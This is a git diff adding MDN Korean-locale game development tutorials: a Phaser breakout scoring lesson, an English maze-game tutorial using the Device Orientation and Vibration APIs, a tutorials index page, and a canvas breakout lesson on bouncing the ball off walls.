+ +
+

노트: 이 시리즈의 내용들은 게임개발 워크숍의 재료로 쓰일 수 있습니다. 또한, 만약 여러분이 게임개발에 있어 강연을 원한다면 이 튜토리얼에 기초한 Gamedev Canvas Content Kit를 활용할 수 있습니다.

+
+ +

다음 단계

+ +

좋습니다, 이제 시작하도록 합시다. 첫 번째 챕터인 캔버스 생성과 그리기 부터 시작합니다.

+ +

{{Next("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기")}} 

diff --git "a/files/ko/games/tutorials/2d_breakout_game_phaser/\353\223\235\354\240\220/index.html" "b/files/ko/games/tutorials/2d_breakout_game_phaser/\353\223\235\354\240\220/index.html" new file mode 100644 index 0000000000..ca79e665a1 --- /dev/null +++ "b/files/ko/games/tutorials/2d_breakout_game_phaser/\353\223\235\354\240\220/index.html" @@ -0,0 +1,73 @@ +--- +title: 득점 +slug: Games/Tutorials/2D_breakout_game_Phaser/득점 +tags: + - 게임 + - 게임제작 + - 득점 + - 득점시스템 + - 튜토리얼 +translation_of: Games/Tutorials/2D_breakout_game_Phaser/The_score +--- +
{{GamesSidebar}}
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Collision_detection", "Games/Workflows/2D_Breakout_game_Phaser/Win_the_game")}}

+ +
+

이것은 Gamedev Phaser tutorial의 16단계중 11번째 과정입니다. 이 과정의 소스코드를 얻고자 한다면 이 강좌를 수강한 후 Gamedev-Phaser-Content-Kit/demos/lesson11.html를 통해 얻으세요.

+
+ +

점수를 얻는 방식의 게임은 좀더 재미있을 것 입니다.— 당신 또는, 친구의 최고 기록을 갈아치울수도 있습니다. 이 글에서는 우리의 게임에 득점 시스템을 추가해 보려고 합니다.

+ +

우리는 점수를 저장해두기 위해 여러 변수를 사용하고, 점수를 화면에 출력하기 위해 내부의 text() 메소드를 사용합니다.

+ +

새로운 변수들

+ +

이전 정의되었던 변수들 바로 다음에 다음과 같이 새로운 변수 두개를 추가해 주세요:

+ +
// ...
+var scoreText;
+var score = 0;
+
+ +

게임 화면에 점수가 표시 되도록 해보자

+ +

지금 create() 함수 뒤에 다음과 같은 코드를 추가해봅시다:

+ +
scoreText = game.add.text(5, 5, 'Points: 0', { font: '18px Arial', fill: '#0095DD' });
+
+ +

text() 메소드는 4개의 변수를 가질수 있습니다:

+ + + +

마지막 변수는 CSS와 매우 비슷해 보입니다. 우리의 점수는 파란색에, 18픽셀 크기이며, Arial 폰트를 사용하여 나타날 것입니다.

+ +

블록이 무너지면 점수를 갱신합니다.

+ +

우리는 공이 블록을 칠때마다 점수를 증가시킵니다 그리고 공이 블록을 칠때마다 동시에 점수판을 갱신하여 화면에 현재 점수를 나타낼 것입니다. 이건 setText()매소드를 써서 해결 할수 있습니다 — ballHitBrick() 함수 아래로 다음과 같은 새로운 코드 두 줄을 추가하세요:

+ +
function ballHitBrick(ball, brick) {
+    brick.kill();
+    score += 10;
+    scoreText.setText('Points: '+score);
+}
+
+ +

됬습니다, — index.html 을 다시 새로고침 해주고 공이 블록을 칠때마다 점수가 갱신되는지 확인해줍니다.

+ +

코드를 비교해보세요

+ +

이번 강좌에서 배운 득점 시스템이 어떻게 작동하는지 이해하고자 한다면, 다음 아래를 이용해 시연해보세요.:

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/n8o6rhrf/","","400")}}

+ +

다음 단계

+ +

우리는 이제 득점 시스템을 게임에 추가했습니다. 그러나 게임에서 이길 수 없다면, 게임하면서 득점하는게 무슨 소용일까요? 그래서 승리 상태를 추가해보려고 합니다. 게임에서 이기게 하고 싶다면 다음으로 넘어갑시다: win the game.

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Collision_detection", "Games/Workflows/2D_Breakout_game_Phaser/Win_the_game")}}

diff --git a/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.html b/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.html new file mode 100644 index 0000000000..63eb9a73a4 --- /dev/null +++ b/files/ko/games/tutorials/html5_gamedev_phaser_device_orientation/index.html @@ -0,0 +1,447 @@ +--- +title: 2D maze game with device orientation +slug: Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation +translation_of: Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}} 
+ +
+

In this tutorial we’ll go through the process of building an HTML5 mobile game that uses the Device Orientation and Vibration APIs to enhance the gameplay and is built using the Phaser framework. Basic JavaScript knowledge is recommended to get the most from this tutorial.

+
+ +

Example game

+ +

By the end of the tutorial you will have a fully functional demo game: Cyber Orb. It will look something like this:

+ +

A 2D game board featuring a small yellow ball. There is a large black hole for the ball to escape down, and a number of barriers blocking the ball from escaping.

+ +

Phaser framework

+ +

Phaser is a framework for building desktop and mobile HTML5 games. It’s quite new, but growing rapidly thanks to the passionate community involved in the development process. You can check it out on GitHub where it’s open sourced, read the online documentation and go through the big collection of examples. The Phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself.

+ +

Starting with the project

+ +

You can see Cyber Orb source code on GitHub. The folder structure is quite straightforward: the starting point is the index.html file where we initialize the framework and set up an {{htmlelement("canvas")}} to render the game on.

+ +

Screenshot of the GitHub repository with the Cyber Orb game code, listing the folders and the files in the main structure.

+ +

You can open the index file in your favourite browser to launch the game and try it. There are also three folders in the directory:

+ + + +

Setting up the Canvas

+ +

We will be rendering our game on Canvas, but we won't do it manually — this will be taken care of by the framework. Let’s set it up: our starting point is the index.html file with the following content. You can create this yourself if you want to follow along:

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="utf-8" />
+    <title>Cyber Orb demo</title>
+    <style> body { margin: 0; background: #333; } </style>
+    <script src="src/phaser-arcade-physics.2.2.2.min.js"></script>
+    <script src="src/Boot.js"></script>
+    <script src="src/Preloader.js"></script>
+    <script src="src/MainMenu.js"></script>
+    <script src="src/Howto.js"></script>
+    <script src="src/Game.js"></script>
+</head>
+<body>
+<script>
+(function() {
+    var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game');
+    game.state.add('Boot', Ball.Boot);
+    game.state.add('Preloader', Ball.Preloader);
+    game.state.add('MainMenu', Ball.MainMenu);
+    game.state.add('Howto', Ball.Howto);
+    game.state.add('Game', Ball.Game);
+    game.state.start('Boot');
+})();
+</script>
+</body>
+</html>
+ +

So far we have a simple HTML website with some basic content in the <head> section: charset, title, CSS styling and the inclusion of the JavaScript files. The <body> contains initialization of the Phaser framework and the definitions of the game states.

+ +
var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game');
+ +

The line above will initialize the Phaser instance — the arguments are the width of the Canvas, height of the Canvas, rendering method (we're using CANVAS, but there are also WEBGL and AUTO options available) and the optional ID of the DOM container we want to put the Canvas in. If there's nothing specified in that last argument or the element is not found, the Canvas will be added to the <body> tag. Without the framework, to add the Canvas element to the page, you would have to write something like this inside the <body> tag:

+ +
<canvas id='game' width='320' height='480'></canvas>
+ +

The important thing to remember is that the framework is setting up helpful methods to speed up a lot of things like image manipulation or assets management, which would be a lot harder to do manually.

+ +
+

Note: You can read the Building Monster Wants Candy article for the in-depth introduction to the basic Phaser-specific functions and methods.

+
+ +

Back to game states: the line below is adding a new state called Boot to the game:

+ +
game.state.add('Boot', Ball.Boot);
+ +

The first value is the name of the state and the second one is the object we want to assign to it. The start method is starting the given state and making it active. Let's see what the states are actually.

+ +

Managing game states

+ +

The states in Phaser are separate parts of the game logic; in our case we’re loading them from independent JavaScript files for better maintainability. The basic states used in this game are: Boot, Preloader, MainMenu, Howto and Game. Boot will take care of initializing a few settings, Preloader will load all of the assets like graphics and audio, MainMenu is the menu with the start button, Howto shows the "how to play" instructions and the Game state lets you actually play the game. Let's quickly go though the content of those states.

+ +

Boot.js

+ +

The Boot state is the first one in the game.

+ +
var Ball = {
+    _WIDTH: 320,
+    _HEIGHT: 480
+};
+Ball.Boot = function(game) {};
+Ball.Boot.prototype = {
+    preload: function() {
+        this.load.image('preloaderBg', 'img/loading-bg.png');
+        this.load.image('preloaderBar', 'img/loading-bar.png');
+    },
+    create: function() {
+        this.game.scale.scaleMode = Phaser.ScaleManager.SHOW_ALL;
+        this.game.scale.pageAlignHorizontally = true;
+        this.game.scale.pageAlignVertically = true;
+        this.game.state.start('Preloader');
+    }
+};
+ +

The main Ball object is defined and we're adding two variables called _WIDTH and _HEIGHT that are the width and the height of the game Canvas — they will help us position the elements on the screen. We're loading two images first that will be used later in the Preload state to show the progress of loading all the other assets. The create function holds some basic configuration: we're setting up the scaling and alignment of the Canvas, and moving on to the Preload state when everything's ready.

+ +

Preloader.js

+ +

The Preloader state takes care of loading all the assets:

+ +
Ball.Preloader = function(game) {};
+Ball.Preloader.prototype = {
+    preload: function() {
+        this.preloadBg = this.add.sprite((Ball._WIDTH-297)*0.5, (Ball._HEIGHT-145)*0.5, 'preloaderBg');
+        this.preloadBar = this.add.sprite((Ball._WIDTH-158)*0.5, (Ball._HEIGHT-50)*0.5, 'preloaderBar');
+        this.load.setPreloadSprite(this.preloadBar);
+
+        this.load.image('ball', 'img/ball.png');
+        // ...
+        this.load.spritesheet('button-start', 'img/button-start.png', 146, 51);
+        // ...
+        this.load.audio('audio-bounce', ['audio/bounce.ogg', 'audio/bounce.mp3', 'audio/bounce.m4a']);
+    },
+    create: function() {
+        this.game.state.start('MainMenu');
+    }
+};
+ +

There are single images, spritesheets and audio files loaded by the framework. In this state the preloadBar is showing the progress on the screen. That progress of the loaded assets is visualized by the framework with the use of one image. With every asset loaded you can see more of the preloadBar image: from 0% to 100%, updated on every frame. After all the assets are loaded, the MainMenu state is launched.

+ + + +

The MainMenu state shows the main menu of the game, where you can start playing by clicking the button.

+ +
Ball.MainMenu = function(game) {};
+Ball.MainMenu.prototype = {
+    create: function() {
+        this.add.sprite(0, 0, 'screen-mainmenu');
+        this.gameTitle = this.add.sprite(Ball._WIDTH*0.5, 40, 'title');
+        this.gameTitle.anchor.set(0.5,0);
+        this.startButton = this.add.button(Ball._WIDTH*0.5, 200, 'button-start', this.startGame, this, 2, 0, 1);
+        this.startButton.anchor.set(0.5,0);
+        this.startButton.input.useHandCursor = true;
+    },
+    startGame: function() {
+        this.game.state.start('Howto');
+    }
+};
+ +

To create a new button there's add.button method with the following list of optional arguments:

+ + + +

The anchor.set is setting up the anchor point on the button for which all the calculations of the position are applied. In our case it's anchored half the way from the left edge and at the start of the top edge, so it can be easily horizontally centered on the screen without the need to know its width.

+ +

When the start button is pressed, instead of jumping directly into the action the game will show the screen with the information on how to play the game.

+ +

Howto.js

+ +
Ball.Howto = function(game) {
+};
+Ball.Howto.prototype = {
+    create: function() {
+        this.buttonContinue = this.add.button(0, 0, 'screen-howtoplay', this.startGame, this);
+    },
+    startGame: function() {
+        this.game.state.start('Game');
+    }
+};
+ +

The Howto state shows the gameplay instructions on the screen before starting the game. After clicking the screen the actual game is launched.

+ +

Game.js

+ +

The Game state from the Game.js file is where all the magic happens. All the initialization is in the create() function (launched once at the beginning of the game). After that some functionality will require further code to control — we will write our own functions to handle more complicated tasks. In particular, take note of the update() function (executed at every frame), which updates things such as the ball position.

+ +
Ball.Game = function(game) {};
+Ball.Game.prototype = {
+    create: function() {},
+    initLevels: function() {},
+    showLevel: function(level) {},
+    updateCounter: function() {},
+    managePause: function() {},
+    manageAudio: function() {},
+    update: function() {},
+    wallCollision: function() {},
+    handleOrientation: function(e) {},
+    finishLevel: function() {}
+};
+ +

The create and update functions are framework-specific, while others will be our own creations:

+ + + +

Adding the ball and its motion mechanics

+ +

First, let’s go to the create() function, initialize the ball object itself and assign a few properties to it:

+ +
this.ball = this.add.sprite(this.ballStartPos.x, this.ballStartPos.y, 'ball');
+this.ball.anchor.set(0.5);
+this.physics.enable(this.ball, Phaser.Physics.ARCADE);
+this.ball.body.setSize(18, 18);
+this.ball.body.bounce.set(0.3, 0.3);
+ +

Here we’re adding a sprite at the given place on the screen and using the 'ball' image from the loaded graphic assets. We’re also setting the anchor for any physics calculations to the middle of the ball, enabling the Arcade physics engine (which handles all the physics for the ball movement), and setting the size of the body for the collision detection. The bounce property is used to set the bounciness of the ball when it hits the obstacles.

+ +

Controlling the ball

+ +

It’s cool to have the ball ready to be thrown around in the play area, but it’s also important to be able to actually move it! Now we will add the ability to control the ball with the keyboard on the desktop devices, and then we will move to the implementation of the Device Orientation API. Let’s focus on the keyboard first by adding the following to the create() function :

+ +
this.keys = this.game.input.keyboard.createCursorKeys();
+ +

As you can see there’s a special Phaser function called createCursorKeys(), which will give us an object with event handlers for the four arrow keys to play with: up, down, left and right.

+ +

Next we will add the following code to the update() function, so it will be fired on every frame. The this.keys object will be checked against player input, so the ball can react accordingly with the predefined force:

+ +
if(this.keys.left.isDown) {
+    this.ball.body.velocity.x -= this.movementForce;
+}
+else if(this.keys.right.isDown) {
+    this.ball.body.velocity.x += this.movementForce;
+}
+if(this.keys.up.isDown) {
+    this.ball.body.velocity.y -= this.movementForce;
+}
+else if(this.keys.down.isDown) {
+    this.ball.body.velocity.y += this.movementForce;
+}
+ +

That way we can check which key is pressed at the given frame and apply the defined force to the ball, thus increase the velocity in the proper direction.

+ +

Implementing the Device Orientation API

+ +

Probably the most interesting part of the game is its usage of the Device Orientation API for control on mobile devices. Thanks to this you can play the game by tilting the device in the direction you want the ball to roll. Here’s the code from the create() function responsible for this:

+ +
window.addEventListener("deviceorientation", this.handleOrientation, true);
+ +

We’re adding an event listener to the "deviceorientation" event and binding the handleOrientation function which looks like this:

+ +
handleOrientation: function(e) {
+    var x = e.gamma;
+    var y = e.beta;
+    Ball._player.body.velocity.x += x;
+    Ball._player.body.velocity.y += y;
+},
+ +

The more you tilt the device, the more force is applied to the ball, therefore the faster it moves (the velocity is higher).

+ +

An explanation of the X, Y and Z axes of a Flame mobile device with the Cyber Orb game demo on the screen.

+ +
+

Note: To find more out about implementing device orientation and what raw code would look like, read Keep it level: responding to device orientation changes.

+
+ +

Adding the hole

+ +

The main objective in the game is to move the ball from the starting position to the ending position: a hole in the ground. Implementation looks very similar to the part where we created the ball, and it's also added in the create() function of our Game state:

+ +
this.hole = this.add.sprite(Ball._WIDTH*0.5, 90, 'hole');
+this.physics.enable(this.hole, Phaser.Physics.ARCADE);
+this.hole.anchor.set(0.5);
+this.hole.body.setSize(2, 2);
+ +

The difference is that our hole’s body will not move when we hit it with the ball and will have the collision detection calculated (which will be discussed later on in this article).

+ +

Building the block labyrinth

+ +

To make the game harder and more interesting we will add some obstacles between the ball and the exit. We could use a level editor, but for the sake of this tutorial let's create something on our own.

+ +

To hold the block information we'll use a level data array: for each block we'll store the top and left absolute positions in pixels (x and y) and the type of the block — horizontal or vertical (t with the 'w' value meaning width and 'h' meaning height). Then, to load the level we'll parse the data and show the blocks specific for that level. In the initLevels function we have:

+ +
this.levelData = [
+    [
+        { x: 96, y: 224, t: 'w' }
+    ],
+    [
+        { x: 72, y: 320, t: 'w' },
+        { x: 200, y: 320, t: 'h' },
+        { x: 72, y: 150, t: 'w' }
+    ],
+    // ...
+];
+ +

Every array element holds a collection of blocks with an x and y position and t value for each. After levelData, but still in the initLevels function, we're adding the blocks into an array in the for loop using some of the framework-specific methods:

+ +
for(var i=0; i<this.maxLevels; i++) {
+    var newLevel = this.add.group();
+    newLevel.enableBody = true;
+    newLevel.physicsBodyType = Phaser.Physics.ARCADE;
+    for(var e=0; e<this.levelData[i].length; e++) {
+        var item = this.levelData[i][e];
+        newLevel.create(item.x, item.y, 'element-'+item.t);
+    }
+    newLevel.setAll('body.immovable', true);
+    newLevel.visible = false;
+    this.levels.push(newLevel);
+}
+ +

First, add.group() is used to create a new group of items. Then the ARCADE body type is set for that group to enable physics calculations. The newLevel.create method creates new items in the group with starting left and top positions, and its own image. If you don't want to loop through the list of items again to add a property to every single one explicitly, you can use setAll on a group to apply it to all the items in that group.

+ +

The objects are stored in the this.levels array, which is by default invisible. To load specific levels, we make sure the previous levels are hidden, and show the current one:

+ +
showLevel: function(level) {
+    var lvl = level | this.level;
+    if(this.levels[lvl-2]) {
+        this.levels[lvl-2].visible = false;
+    }
+    this.levels[lvl-1].visible = true;
+}
+ +

Thanks to that the game gives the player a challenge - now he have to roll the ball across the play area and guide it through the labyrinth built from the blocks. It's just an example of loading the levels, and there are only 5 of them just to showcase the idea, but you can work on expanding that on your own.

+ +

Collision detection

+ +

At this point we've got the ball that is controlled by the player, the hole to reach and the obstacles blocking the way. There’s a problem though — our game doesn’t have any collision detection yet, so nothing happens when the ball hits the blocks — it just goes through. Let’s fix it! The good news is that the framework will take care of calculating the collision detection, we only have to specify the colliding objects in the update() function:

+ +
this.physics.arcade.collide(this.ball, this.borderGroup, this.wallCollision, null, this);
+this.physics.arcade.collide(this.ball, this.levels[this.level-1], this.wallCollision, null, this);
+ +

This will tell the framework to execute the wallCollision function when the ball hits any of the walls. We can use the wallCollision function to add any functionality we want like playing the bounce sound and implementing the Vibration API.

+ +

Adding the sound

+ +

Among the preloaded assets there was an audio track (in various formats for browser compatibility), which we can use now. It has to be defined in the create() function first:

+ +
this.bounceSound = this.game.add.audio('audio-bounce');
+ +

If the status of the audio is true (so the sounds in the game are enabled), we can play it in the wallCollision function:

+ +
if(this.audioStatus) {
+    this.bounceSound.play();
+}
+ +

That's all — loading and playing the sounds is easy with Phaser.

+ +

Implementing the Vibration API

+ +

When collision detection works as expected let's add some special effects with the help from the Vibration API.

+ +

A visualization of the vibrations of a Flame mobile device with the Cyber Orb game demo on the screen.

+ +

The best way to use it in our case is to vibrate the phone every time the ball hits the walls — inside the wallCollision function:

+ +
if("vibrate" in window.navigator) {
+    window.navigator.vibrate(100);
+}
+ +

If the vibrate method is supported by the browser and available in the window.navigator object, vibrate the phone for 100 miliseconds. That's it!

+ +

Adding the elapsed time

+ +

To improve replayability and give players the option to compete with each other we will store the elapsed time — players can then try to improve on their best game completion time. To implement this we have to create a variable for storing the actual number of seconds elapsed from the start of the game, and to show it for the player in the game. Let’s define the variables in the create function first:

+ +
this.timer = 0; // time elapsed in the current level
+this.totalTimer = 0; // time elapsed in the whole game
+ +

Then, right after that, we can initialize the necessary text objects to display this information to the user:

+ +
this.timerText = this.game.add.text(15, 15, "Time: "+this.timer, this.fontBig);
+this.totalTimeText = this.game.add.text(120, 30, "Total time: "+this.totalTimer, this.fontSmall);
+ +

We’re defining the top and left positions of the text, the content that will be shown and the styling applied to the text. We have this printed out on the screen, but it would be good to update the values every second:

+ +
this.time.events.loop(Phaser.Timer.SECOND, this.updateCounter, this);
+ +

This loop, also in the create function, will execute the updateCounter function every single second from the beginning of the game, so we can apply the changes accordingly. This is how the complete updateCounter function looks:

+ +
updateCounter: function() {
+    this.timer++;
+    this.timerText.setText("Time: "+this.timer);
+    this.totalTimeText.setText("Total time: "+(this.totalTimer+this.timer));
+},
+ +

As you can see we’re incrementing the this.timer variable and updating the content of the text objects with the current values on each iteration, so the player sees the elapsed time.

+ +

Finishing the level and the game

+ +

The ball is rolling on the screen, the timer is working and we have the hole created that we have to reach. Now let’s set up the possibility to actually finish the level! The following line in the update() function adds a listener that fires when the ball gets to the hole.

+ +
this.physics.arcade.overlap(this.ball, this.hole, this.finishLevel, null, this);
+ +

This works similarly to the collide method explained earlier. When the ball overlaps with the hole (instead of colliding), the finishLevel function is executed:

+ +
finishLevel: function() {
+    if(this.level >= this.maxLevels) {
+        this.totalTimer += this.timer;
+        alert('Congratulations, game completed!\nTotal time of play: '+this.totalTimer+' seconds!');
+        this.game.state.start('MainMenu');
+    }
+    else {
+        alert('Congratulations, level '+this.level+' completed!');
+        this.totalTimer += this.timer;
+        this.timer = 0;
+        this.level++;
+        this.timerText.setText("Time: "+this.timer);
+        this.totalTimeText.setText("Total time: "+this.totalTimer);
+        this.levelText.setText("Level: "+this.level+" / "+this.maxLevels);
+        this.ball.body.x = this.ballStartPos.x;
+        this.ball.body.y = this.ballStartPos.y;
+        this.ball.body.velocity.x = 0;
+        this.ball.body.velocity.y = 0;
+        this.showLevel();
+    }
+},
+ +

If the current level is equal to the maximum number of levels (in this case 5), then the game is finished — you'll get a congratulations message along with the number of seconds elapsed through the whole game, and a button to press that takes you to the main menu.

+ +

If the current level is lower than 5, all the neccesary variables are reset and the next level is loaded.

+ +

Ideas for new features

+ +

This is merely a working demo of a game that could have lots of additional features. We can for example add power-ups to collect along the way that will make our ball roll faster, stop the timer for a few seconds or give the ball special powers to go through obstacles. There’s also room for the traps which will slow the ball down or make it more difficult to reach the hole. You can create more levels of increasing difficulty. You can even implement achievements, leaderboards and medals for different actions in the game. There are endless possibilities — they only depend on your imagination.

+ +

Summary

+ +

I hope this tutorial will help you dive into 2D game development and inspire you to create awesome games on your own. You can play the demo game Cyber Orb and check out its source code on GitHub.

+ +

HTML5 gives us raw tools, the frameworks built on top of it are getting faster and better, so now is a great time get into web game development. In this tutorial we used Phaser, but there are a number of other frameworks worth considering too like ImpactJS, Construct 2 or PlayCanvas — it depends on your preferences, coding skills (or lack thereof), project scale, requirements and other aspects. You should check them all out and decide which one suits your needs best.

diff --git a/files/ko/games/tutorials/index.html b/files/ko/games/tutorials/index.html new file mode 100644 index 0000000000..b77f74414e --- /dev/null +++ b/files/ko/games/tutorials/index.html @@ -0,0 +1,28 @@ +--- +title: Tutorials +slug: Games/Tutorials +tags: + - Canvas + - Games + - JavaScript + - NeedsTranslation + - TopicStub + - Web + - Workflows + - 게임 + - 자바스크립트 + - 캔버스 +translation_of: Games/Tutorials +--- +
{{GamesSidebar}}
{{IncludeSubnav("/ko/docs/Games")}}
+ +

이 페이지에는 다양한 형태의 웹 게임을 효과적으로 만들기 위해 중요한 여러가지 튜토리얼들을 포함하고 있습니다.

+ +
+
순수 JavaScript를 사용한 2D 게임
+
이 튜토리얼을 통해 여러분은 순수 자바스크립트를 활용하여 간단한 게임을 만들어볼 수 있습니다. 렌더링, 이미지 그리기, 충돌 감지하기, 동작 원리, 승리/패배 구성하기 등 게임을 만들기 위해 필요한 기본적인 요소들을 구현하기 위해 {{htmlelement("canvas")}} 사용법을 배우게 될 것입니다.
+
Phaser를 사용한 2D 게임
+
이 튜토리얼을 통해 여러분은 위 튜토리얼과 똑같은 게임을 만들어 볼 수 있을 것 입니다. 다만 이번에는 HTML5 게임 프레임워크인 Phaser를 이용하여 만들어 볼 것입니다. 게임을 만들기 위해 필요한 기본적인 요소들을 프레임워크를 활용하여 만드는 방법을 배우게 될 것입니다.
+
기기 수직/수평 기능을 이용한 2D 주사위 게임
+
이 튜토리얼에서는 {{htmlelement("canvas")}} 가 제공하는 충돌 감지, 모양 놓기같은 기본적인 기능을 포함한 HTML5 2D 주사위 게임을 만들어 볼 것입니다. Device Orientation 기능과 Vibration 기능을 활용한 모바일 게임이며 the Phaser프레임워크로 만들 것입니다.
+
diff --git "a/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/bounce_off_the_walls/index.html" "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/bounce_off_the_walls/index.html" new file mode 100644 index 0000000000..2df00b91b9 --- /dev/null +++ "b/files/ko/games/tutorials/\354\210\234\354\210\230\355\225\234_\354\236\220\353\260\224\354\212\244\355\201\254\353\246\275\355\212\270\353\245\274_\354\235\264\354\232\251\355\225\234_2d_\353\262\275\353\217\214\352\271\250\352\270\260_\352\262\214\354\236\204/bounce_off_the_walls/index.html" @@ -0,0 +1,99 @@ +--- +title: 공을 벽에 튕기기 +slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls +--- +
{{GamesSidebar}}
{{IncludeSubnav("/ko/docs/Games")}}
+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls")}}

+ +
+

이 글은 Gamedev Canvas 튜토리얼에 포함된 10단계 중 3단계 글입니다. 이 글을 다 읽고 난 뒤 완성된 소스코드는 Gamedev-Canvas-workshop/lesson3.html에서 확인해볼 수 있습니다.

+
+ +

공이 움직이는 걸 보니 기쁩니다! 하지만 기쁨을 즐길 틈도 없이 공이 스크린 밖으로 사라져버리네요. 이 문제를 해결하기 위해 공이 캔버스의 4군데 모서리에 다달았을 때 튕겨나올 수 있도록 간단한 충돌 감지 기능(더 자세한 내용은 다음 글에서 다시 설명할 예정입니다)을 구현해야 합니다.

+ +

간단한 충돌 감지

+ +

충돌을 감지하기 위해서는 공이 벽에 닿았는지를 확인하고 그에 따라 움직이는 방향을 수정해야 합니다.

+ +

보다 계산을 쉽게 하기 위하여 ballRadius 변수를 만든 뒤 원의 반지름 값을 대입하여 계산하는데 사용합니다. 아래의 코드를 기존의 변수들 아래에 삽입하세요:

+ +
var ballRadius = 10;
+ +

이제drawBall() func기능 안에 볼을 그리는 코드를 아래와 같이 수정하세요:

+ +
ctx.arc(x, y, ballRadius, 0, Math.PI*2);
+ +

위 아래 방향으로 튕기기

+ +

캔버스에는 총 4개의 모서리 즉, 4개의 벽이 있습니다. 일단 상단의 벽에 집중해 보겠습니다. 공을 그리는 매 프레임마다 우리는 볼이 상단 모서리에 닿았는지 확인해야합니다 — 닿았다면 볼이 움직이는 방향을 반대로 바꾸어 캔버스 안에 여전히 공이 보이도록 만들어주어야 합니다. 캔버스 내 위치 구조는 좌상단으로 부터 시작하는 것을 잊지마세요:

+ +
if(y + dy < 0) {
+    dy = -dy;
+}
+ +

만약 공의 위치에서 y값이 0보다 작은 경우 음/양수를 반대로 바꾸어주어 y 축의 방향을 바꾸어 줍니다. 공이 매 프레임마다 2픽셀만큼 움직이고 있었다면, 이제는 매 프레임마다 2픽셀만큼 "아래 방향으로" 이동할 것입니다.

+ +

위 코드는 상단 모서리를 튕기도록 해주기 때문에 이번엔 하단 모서리를 튕기도록 해보겠습니다:

+ +
if(y + dy > canvas.height) {
+    dy = -dy;
+}
+ +

공의 위치에서 y값이 캔버스의 높이보다 큰 경우(좌상단으로부터 y값을 측정하기 때문에 상단모서리에서의 y값은 0, 하단모서리에서의 y값은 480, 즉 캔버서의 높이값임을 잊지마세요) y축 움직임의 반대 방향으로 튕겨냅니다.

+ +

위의 두가지 코드를 하나로 합칠 수 있습니다:

+ +
if(y + dy > canvas.height || y + dy < 0) {
+    dy = -dy;
+}
+ +

둘 중 하나의 조건이라도 만족한다면, 공의 방향은 반대로 바뀝니다.

+ +

좌우로 튕겨내기

+ +

우리는 방금 상, 하단 모서리를 인식했으므로 이번엔 좌우 모서리를 생각해봅시다. 거의 같은 문제이므로 우리는 y 대신 x값을 대입하여 그대로 반복해주기만 하면 됩니다:

+ +
if(x + dx > canvas.width || x + dx < 0) {
+    dx = -dx;
+}
+
+if(y + dy > canvas.height || y + dy < 0) {
+    dy = -dy;
+}
+ +

이 후 위 코드를 draw() 함수블럭이 끝나는 중괄호 바로 전에 삽입합니다.

+ +

공이 여전히 벽 밖으로 사라져요!

+ +

코드를 테스트해보세요. — 아마 캔버스 모서리에서 튕겨나오는 볼이 인상적이지 않나요? 하지만 또 다른 문제가 생겼습니다. — 공이 벽을 튕겨나와 방향이 바뀌기 전에 살짝 벽 안으로 숨어버리네요:

+ +

+ +

이 문제는 우리가 충돌을 감지할 때 그 기준을 공의 원점에 두고 계산했지만, 원의 둘레를 기준으로 계산을 해야 하기 때문입니다. 벽에 공이 절반쯤 지난 뒤가 아니라 닿자마자 튕겨나와야 합니다. 이에 맞게 코드를 조금 수정해봅시다. 여러분이 삽입한 코드를 아래와 같이 수정해보세요:

+ +
if(x + dx > canvas.width-ballRadius || x + dx < ballRadius) {
+    dx = -dx;
+}
+if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
+    dy = -dy;
+}
+ +

공의 원점과 벽 사이의 거리가 공의 반지름과 같아졌을 때 공의 움직임이 바뀌도록 만들었습니다. 이제야 볼이 정확히 튕겨나오고 있네요.

+ +

여러분의 코드를 비교해보세요

+ +

자, 다시 여러분이 작성한 코드를 완성된 코드와 비교해보고 게임을 실행해보세요:

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/redj37dc/","","370")}}

+ +
+

Exercise: 공이 벽에 부딪힐 때마다 공의 색을 무작위로 변화시켜보세요.

+
+ +

다음 단계

+ +

이제 우리는 공이 게임판 안에서 어디서 어떻게 움직이고 있는지 파악했습니다. 네번째 챕터에서는 조작 가능한 배드를 구현해볼 것입니다. — 패드와 키보드 조작.

+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls")}}

